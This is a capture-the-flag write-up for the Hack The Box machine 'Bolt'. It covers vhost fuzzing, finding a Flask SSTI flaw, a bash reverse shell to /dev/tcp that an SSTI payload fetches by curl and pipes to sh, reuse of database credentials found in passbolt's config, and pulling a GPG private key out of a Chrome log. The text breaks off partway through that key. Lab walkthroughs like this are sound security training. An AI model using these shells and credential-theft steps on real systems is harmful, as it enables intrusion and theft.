Hack The Box - Bolt

info_card

Bolt is a medium rated machine on HackTheBox created by d4rkpayl0ad & TheCyberGeek. For the user part we will fuzz multiple vhosts and analyze source code to find a SSTI vulnerability which leads to RCE and a reverse shell. On the machine we find that the database credentials are reused for the user eddie. Eddie’s chrome log reveals a GPG private key which we can use to decrypt a passbolt secret which contains the root users password.

User

Nmap

As usual we begin our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.227.222
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-26 00:04 GMT
Nmap scan report for 10.129.227.222
Host is up (0.19s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 68.78 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ sudo nmap -sC -sV -p22,80,443 10.129.227.222
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-26 00:07 GMT
Nmap scan report for 10.129.227.222
Host is up (0.032s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.28 seconds

SSTI

The nmap scan already discovered a vhost in passbolt.bolt.htb on https, so we add it and bolt.htb to our /etc/hosts file. Using fuff on port 80 we can discover mail.bolt.htb and demo.bolt.htb which we also add to our /etc/hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ffuf -H 'Host: FUZZ.bolt.htb' -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.129.227.222/  -fs 30347

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.227.222/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.bolt.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 30347
________________________________________________

demo                    [Status: 302, Size: 219, Words: 22, Lines: 4]
mail                    [Status: 200, Size: 4943, Words: 345, Lines: 99]
:: Progress: [114441/114441] :: Job [1/1] :: 678 req/sec :: Duration: [0:02:21] :: Errors: 0 ::

Checking all the pages manually in our browser bolt.htb seems to be the homepage of a web development company.

bolt_home

passbolt.bolt.htb looks like an installation of passbolt, a password management solution for teams.

passbolt_home

mail.bolt.htb seems to be an installation of roundcube, a webmail software.

mail_home

Going over to demo.bolt.htb we can log in or register a new user.

demo_bolt_signup

Let’s first inspect the main page http://bolt.htb. Going over to Download we can download a docker image.

bolt_download

Downloading and extracting it, the image contains multiple layers.

1
2
3
4
5
6
7
8
9
10
$ tar -xvf image.tar
187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/
187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/VERSION
187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/json
187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/
1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/VERSION
1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/json
1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar
...[snip]...

We can extract all the tar archives in the respective folders using the find command.

1
2
3
4
5
6
$ find . -name '*.tar' -execdir tar -xvf '{}' \;
bin/
bin/ash
bin/base64
bin/bbconfig
bin/busybox

Checking for which page which source code is used we go over to demo.bolt.htb where we can register a new user specifying an invite code.

bolt_register

Intercepting the request with burp we see the parameter for the invite code in the request is invite_code.

burp_param

Knowing the parameter we can now cross reference the source for it using grep. It seems to be used in a routes.py file of a flask application.

1
2
3
4
5
6
7
8
$ grep -ir invite_code
grep: 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar: binary file matches
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/forms.py:    invite_code = TextField('Invite Code', id='invite_code'    , validators=[DataRequired()])
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py:        code          = request.form['invite_code']
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/templates/accounts/register.html:            {{ form.invite_code(placeholder="Invite Code", class="form-control") }}
grep: 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar: binary file matches
grep: 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/app/base/__pycache__/forms.cpython-36.pyc: binary file matches
grep: 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/app/base/__pycache__/routes.cpython-36.pyc: binary file matches

Taking a closer look at routes.py the expected parameter for invite_code is hardcoded to XNSS-HSJW-3NGU-8XTJ.

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
...[snip]...
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
    login_form = LoginForm(request.form)
    create_account_form = CreateAccountForm(request.form)
    if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code	  = request.form['invite_code']
        if code != 'XNSS-HSJW-3NGU-8XTJ':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
            # Check usename exists
            user = User.query.filter_by(username=username).first()
            if user:
                return render_template( 'accounts/register.html',
                                    msg='Username already registered',
                                    success=False,
                                    form=create_account_form)

            # Check email exists
            user = User.query.filter_by(email=email).first()
            if user:
                return render_template( 'accounts/register.html',
                                    msg='Email already registered',
                                    success=False,
                                    form=create_account_form)

            # else we can create the user
            user = User(**request.form)
            db.session.add(user)
            db.session.commit()

            return render_template( 'accounts/register.html',
                                msg='User created please <a href="/login">login</a>',
                                success=True,
                                form=create_account_form)

    else:
        return render_template( 'accounts/register.html', form=create_account_form)
...[snip]...

Using this key we are now able to create our own user.

create_user

Being logged in we are now in an AdminLTE 3 dashboard.

admin_lte_logged_in

The newly created account lets us also log into the roundcube web mail application.

webmail_logged_in

To find the source of underlying functionality we take a unique looking string again and cross reference it with the source code.

email_verification

This seems to be used in the examples-profile.html which is used in the routes.py of the home app.

1
2
3
$ grep -ir 'Email verification is required'
grep: 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar: binary file matches
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/templates/examples-profile.html:                    <p>Email verification is required in order to update personal information.</p>
1
2
3
4
5
$ grep -ir 'example-profile.html'
grep: 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar: binary file matches
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py:        return render_template('example-profile.html', user=user,current_user=current_user)
grep: 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar: binary file matches
grep: 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/app/home/__pycache__/routes.cpython-36.pyc: binary file matches

There we can see the full source code of the application.

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...[snip]...
@blueprint.route("/example-profile", methods=['GET', 'POST'])
@login_required
def profile():
    """Profiles"""
    if request.method == 'GET':
        return render_template('example-profile.html', user=user,current_user=current_user)
    else:
        """Experimental Feature"""
        cur_user = current_user
        user = current_user.username
        name = request.form['name']
        experience = request.form['experience']
        skills = request.form['skills']
        msg = Message(
                recipients=[f'{cur_user.email}'],
                sender = 'support@example.com',
                reply_to = 'support@example.com',
                subject = "Please confirm your profile changes"
            )
        try:
            cur_user.profile_update = name
        except:
            return render_template('page-500.html')
        db.session.add(current_user)
        db.session.commit()
        token = ts.dumps(user, salt='changes-confirm-key')
        confirm_url = url_for('home_blueprint.confirm_changes',token=token,_external=True)
        html = render_template('emails/confirm-changes.html',confirm_url=confirm_url)
        msg.html = html
        mail.send(msg)
        return render_template('index.html')
...[snip]...

The interesting part is that the application sends a confirmation email. Upon clicking on the confirmation link it sends another confirmation mail stating the change took place. For this it renders the template update-name.html with the new username directly passed to the templating engine making it vulnerable to SSTI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...[snip]...
@blueprint.route('/confirm/changes/<token>')
def confirm_changes(token):
    """Confirmation Token"""
    try:
        email = ts.loads(token, salt="changes-confirm-key", max_age=86400)
    except:
        abort(404)
    user = User.query.filter_by(username=email).first_or_404()
    name = user.profile_update
    template = open('templates/emails/update-name.html', 'r').read()
    msg = Message(
            recipients=[f'{user.email}'],
            sender = 'support@example.com',
            reply_to = 'support@example.com',
            subject = "Your profile changes have been confirmed."
        )
    msg.html = render_template_string(template % name)
    mail.send(msg)

    return render_template('index.html')
...[snip]...

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/templates/emails/update-name.html

1
2
3
4
5
6
<html>
	<body>
		<p> %s </p>
		<p> This e-mail serves as confirmation of your profile username changes.</p>
	</body>
</html>

To confirm our suspicion we first set our username to {{config.items()}} in the settings of the AdminLTE3 dashboard.

change_name

Clicking submit we get sent a confirmation mail to roundcube.

confirm_mail

Following the confirmation link we get sent another confirmation that the change took place and see our injection for the username got executed.

confirm_confirm

The next step is to get a reverse shell. We exchange our username to a SSTI payload that will curl our webserver and pass index.html over to sh.

revshell_name

We create a small bash reverse shell as our index.html and serve it with a python web server.

index.html

1
2
3
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.79/7575 0>&1'
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Next we set up a ncat listener to catch the reverse shell.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

We submit the name change request and upon clicking the confirmation link in roundcube our reverse shell get’s downloaded from the web server and we get a connection back on our listener.

revshell_confirm

1
2
3
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.227.222 - - [26/Sep/2021 09:33:52] "GET / HTTP/1.1" 200 -

We upgrade the shell using python and also fix the terminal size for better access.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.227.222.
Ncat: Connection from 10.129.227.222:36256.
bash: cannot set terminal process group (1081): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@bolt:~/demo$ export TERM=xterm
export TERM=xterm
www-data@bolt:~/demo$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

www-data@bolt:~/demo$ ls
app.py  config.py  __pycache__  static  templates  wsgi.py
www-data@bolt:~/demo$ stty rows 55 cols 236

Config

Looking around we can find the configuration for passbolt which reveals database credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
www-data@bolt:~/demo$ cat /etc/passbolt/passbolt.php
<?php
/**
 * Passbolt ~ Open source password manager for teams
 * Copyright (c) Passbolt SA (https://www.passbolt.com)
 *
 * Licensed under GNU Affero General Public License version 3 of the or any later version.
 * For full copyright and license information, please see the LICENSE.txt
 * Redistributions of files must retain the above copyright notice.
 *
 * @copyright     Copyright (c) Passbolt SA (https://www.passbolt.com)
 * @license       https://opensource.org/licenses/AGPL-3.0 AGPL License
 * @link          https://www.passbolt.com Passbolt(tm)
 * @since         2.0.0
 */
/**
 * PASSBOLT CONFIGURATION FILE
 *
 * This is a generated configuration file, which was generated by the passbolt web installer.
 *
 * To see all available options, you can refer to the default.php file, or replace this file
 * by a copy of passbolt.default.php
 * Do not modify default.php or you may break your upgrade process.
 *
 * Read more about how to install passbolt: https://www.passbolt.com/help/tech/install
 * Any issue, check out our FAQ: https://www.passbolt.com/faq
 * An installation issue? Ask for help to the community: https://community.passbolt.com/
 */
return [
    'App' => [
        // A base URL to use for absolute links.
        // The url where the passbolt instance will be reachable to your end users.
        // This information is need to render images in emails for example
        'fullBaseUrl' => 'https://passbolt.bolt.htb',
    ],

    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
        ],
    ],
...[snip]...

Checking for users on the machine we find the /home directory folders for clark and eddie.

1
2
www-data@bolt:~/demo$ ls /home/
clark  eddie

Trying the found password for eddie over ssh it works and we are able to grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ssh eddie@bolt.htb
eddie@bolt.htb's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-051300-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.
You have mail.
Last login: Sun Sep 26 02:25:34 2021 from 10.10.14.79
eddie@bolt:~$ wc -c user.txt
33 user.txt

Root

GPG

Running linpeas reveals some possible ssh keys.

1
2
3
4
5
══╣ Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

Taking a closer look at the google chrom logfile we find a GPG private key which we first need to clean a bit to use it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
eddie@bolt:~$ cat '/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log'
f5
  f5
    f5
      f5
        f5
          f5
            f5
...[snip]...
_passbolt_dataQ{"config":{"debug":false,"log":{"console":false,"level":0},"user.firstname":"Eddie","user.id":"4e184ee6-e436-47fb-91c9-dccb57f250bc","user.lastname":"Johnson","user.settings.securityToken.code":"GOZ","user.settings.securi
tyToken.color":"#607d8b","user.settings.securityToken.textColor":"#ffffff","user.settings.trustedDomain":"https://passbolt.bolt.htb","user.username":"eddie@bolt.htb"},"passbolt-private-gpgkeys":"{\"MY_KEY_ID\":{\"key\":\"-----BEGIN PGP
PRIVATE KEY BLOCK-----\r\nVersion: OpenPGP.js v4.10.9\r\nComment: https://openpgpjs.org\r\n\r\nxcMGBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi\r\nfjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk\r\nc
pRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU\r\nRNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU\r\n+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a\r\nIf70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhY
pWo3NbDqsyGGtbyJlABEB\r\nAAH+CQMINK+e85VtWtjguB8IR+AfuDbIzHyKKvMfGStRhZX5cdsUfv5znicW\r\nUjeGmI+w7iQ+WYFlmjFN/Qd527qOFOZkm6TgDMUVubQFWpeDvhM4F3Y+Fhua\r\njS8nQauoC87vYCRGXLoCrzvM03IpepDgeKqVV5r71gthcc2C/Rsyqd0BYXXA\r\niOe++biDBB6
v/pMzg0NHUmhmiPnSNfHSbABqaY3WzBMtisuUxOzuvwEIRdac\r\n2eEUhzU4cS8s1QyLnKO8ubvD2D4yVk+ZAxd2rJhhleZDiASDrIDT9/G5FDVj\r\nQY3ep7tx0RTE8k5BE03NrEZi6TTZVa7MrpIDjb7TLzAKxavtZZYOJkhsXaWf\r\nDRe3Gtmo/npea7d7jDG2i1bn9AJfAdU0vkWrNqfAgY/r4j+ld
8o0YCP+76K/\r\n7wiZ3YYOBaVNiz6L1DD0B5GlKiAGf94YYdl3rfIiclZYpGYZJ9Zbh3y4rJd2\r\nAZkM+9snQT9azCX/H2kVVryOUmTP+uu+p+e51z3mxxngp7AE0zHqrahugS49\r\ntgkE6vc6G3nG5o50vra3H21kSvv1kUJkGJdtaMTlgMvGC2/dET8jmuKs0eHc\r\nUct0uWs8LwgrwCFIhuHDz
rs2ETEdkRLWEZTfIvs861eD7n1KYbVEiGs4n2OP\r\nyF1ROfZJlwFOw4rFnmW4Qtkq+1AYTMw1SaV9zbP8hyDMOUkSrtkxAHtT2hxj\r\nXTAuhA2i5jQoA4MYkasczBZp88wyQLjTHt7ZZpbXrRUlxNJ3pNMSOr7K/b3e\r\nIHcUU5wuVGzUXERSBROU5dAOcR+lNT+Be+T6aCeqDxQo37k6kY6Tl1+0uvM
p\r\neqO3/sM0cM8nQSN6YpuGmnYmhGAgV/Pj5t+cl2McqnWJ3EsmZTFi37Lyz1CM\r\nvjdUlrpzWDDCwA8VHN1QxSKv4z2+QmXSzR5FZGRpZSBKb2huc29uIDxlZGRp\r\nZUBib2x0Lmh0Yj7CwI0EEAEIACAFAmA4G2EGCwkHCAMCBBUICgIEFgIBAAIZ\r\nAQIbAwIeAQAhCRAcJ0Gj3DtKvRYhBN9
Ca8ekqK9Y5Q7aDhwnQaPcO0q9+Q0H\r\n/R2ThWBN8roNk7hCWO6vUH8Da1oXyR5jsHTNZAileV5wYnN+egxf1Yk9/qXF\r\nnyG1k/IImCGf9qmHwHe+EvoDCgYpvMAQB9Ce1nJ1CPqcv818WqRsQRdLnyba\r\nqx5j2irDWkFQhFd3Q806pVUYtL3zgwpupLdxPH/Bj2CvTIdtYD454aDxNbNt\r\nzc5
gVIg7esI2dnTkNnFWoFZ3+j8hzFmS6lJvJ0GN+Nrd/gAOkhU8P2KcDz74\r\n7WQQR3/eQa0m6QhOQY2q/VMgfteMejlHFoZCbu0IMkqwsAINmiiAc7H1qL3F\r\nU3vUZKav7ctbWDpJU/ZJ++Q/bbQxeFPPkM+tZEyAn/fHwwYEYDgbYQEIAJpY\r\nHMNw6lcxAWuZPXYz7FEyVjilWObqMaAael9B/Z40f
VH29l7ZsWVFHVf7obW5\r\nzNJUpTZHjTQV+HP0J8vPL35IG+usXKDqOKvnzQhGXwpnEtgMDLFJc2jw0I6M\r\nKeFfplknPCV6uBlznf5q6KIm7YhHbbyuKczHb8BgspBaroMkQy5LHNYXw2FP\r\nrOUeNkzYjHVuzsGAKZZzo4BMTh/H9ZV1ZKm7KuaeeE2x3vtEnZXx+aSX+Bn8\r\nKo+nUJZEn9wzH
hJwcsRGV94pnihqwlJsCzeDRzHlLORF7i57n7rfWkzIW8P7\r\nXrU7VF0xxZP83OxIWQ0dXd5pA1fN3LRFIegbhJcAEQEAAf4JAwizGF9kkXhP\r\nleD/IYg69kTvFfuw7JHkqkQF3cBf3zoSykZzrWNW6Kx2CxFowDd/a3yB4moU\r\nKP9sBvplPPBrSAQmqukQoH1iGmqWhGAckSS/WpaPSEOG3K5lcpt
5EneFC64f\r\na6yNKT1Z649ihWOv+vpOEftJVjOvruyblhl5QMNUPnvGADHdjZ9SRmo+su67\r\nJAKMm0cf1opW9x+CMMbZpK9m3QMyXtKyEkYP5w3EDMYdM83vExb0DvbUEVFH\r\nkERD10SVfII2e43HFgU+wXwYR6cDSNaNFdwbybXQ0quQuUQtUwOH7t/Kz99+\r\nJa9e91nDa3oLabiqWqKnGPg
+ky0oEbTKDQZ7Uy66tugaH3H7tEUXUbizA6cT\r\nGh4htPq0vh6EJGCPtnyntBdSryYPuwuLI5WrOKT+0eUWkMA5NzJwHbJMVAlB\r\nGquB8QmrJA2QST4v+/xnMLFpKWtPVifHxV4zgaUF1CAQ67OpfK/YSW+nqong\r\ncVwHHy2W6hVdr1U+fXq9XsGkPwoIJiRUC5DnCg1bYJobSJUxqXvRm+3Z1wXO\
\r\nn0LJKVoiPuZr/C0gDkek/i+p864FeN6oHNxLVLffrhr77f2aMQ4hnSsJYzuz\r\n4sOO1YdK7/88KWj2QwlgDoRhj26sqD8GA/PtvN0lvInYT93YRqa2e9o7gInT\r\n4JoYntujlyG2oZPLZ7tafbSEK4WRHx3YQswkZeEyLAnSP6R2Lo2jptleIV8h\r\nJ6V/kusDdyek7yhT1dXVkZZQSeCUUcQXO
4ocMQDcj6kDLW58tV/WQKJ3duRt\r\n1VrD5poP49+OynR55rXtzi7skOM+0o2tcqy3JppM3egvYvXlpzXggC5b1NvS\r\nUCUqIkrGQRr7VTk/jwkbFt1zuWp5s8zEGV7aXbNI4cSKDsowGuTFb7cBCDGU\r\nNsw+14+EGQp5TrvCwHYEGAEIAAkFAmA4G2ECGwwAIQkQHCdBo9w7Sr0WIQTf\r\nQmvHp
KivWOUO2g4cJ0Gj3DtKvf4dB/9CGuPrOfIaQtuP25S/RLVDl8XHvzPm\r\noRdF7iu8ULcA9gTxPn8DNbtdZEnFHHOANAHnIFGgYS4vj3Dj9Q3CEZSSVvwg\r\n6599FMcw9nGzypVOgqgQv8JGmIUeCipD10k8nHW7m9YBfQB04y9wJw99WNw/\r\nIc3vdhZ6NvsmLzYI21dnWD287sPj2tKAuhI0AqCEkiR
wb4Z4CSGgJ5TgGML8\r\n11Izrkqamzpc6mKBGi213tYH6xel3nDJv5TKm3AGwXsAhJjJw+9K0MNARKCm\r\nYZFGLdtA/qMajW4/+T3DJ79YwPQOtCrFyHiWoIOTWfs4UhiUJIE4dTSsT/W0\r\nPSwYYWlAywj5\r\n=cqxZ\r\n-----END PGP PRIVATE KEY BLOCK-----\r\n\",\"keyId\
":\"dc3b4abd\",\"userIds\":[{\"name\":\"Eddie Johnson\",\"email\":\"eddie@bolt.htb\"}],\"fingerprint\":\"df426bc7a4a8af58e50eda0e1c2741a3dc3b4abd\",\"created\":\"Thu Feb 25 2021 14:49:21 GMT-0700 (Mountain Standard Time)\",\"expires\":\
"Never\",\"algorithm\":\"rsa_encrypt_sign\",\"length\":2048,\"private\":true,\"user_id\":\"MY_KEY_ID\"}}"
...[snip]...

key.gpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
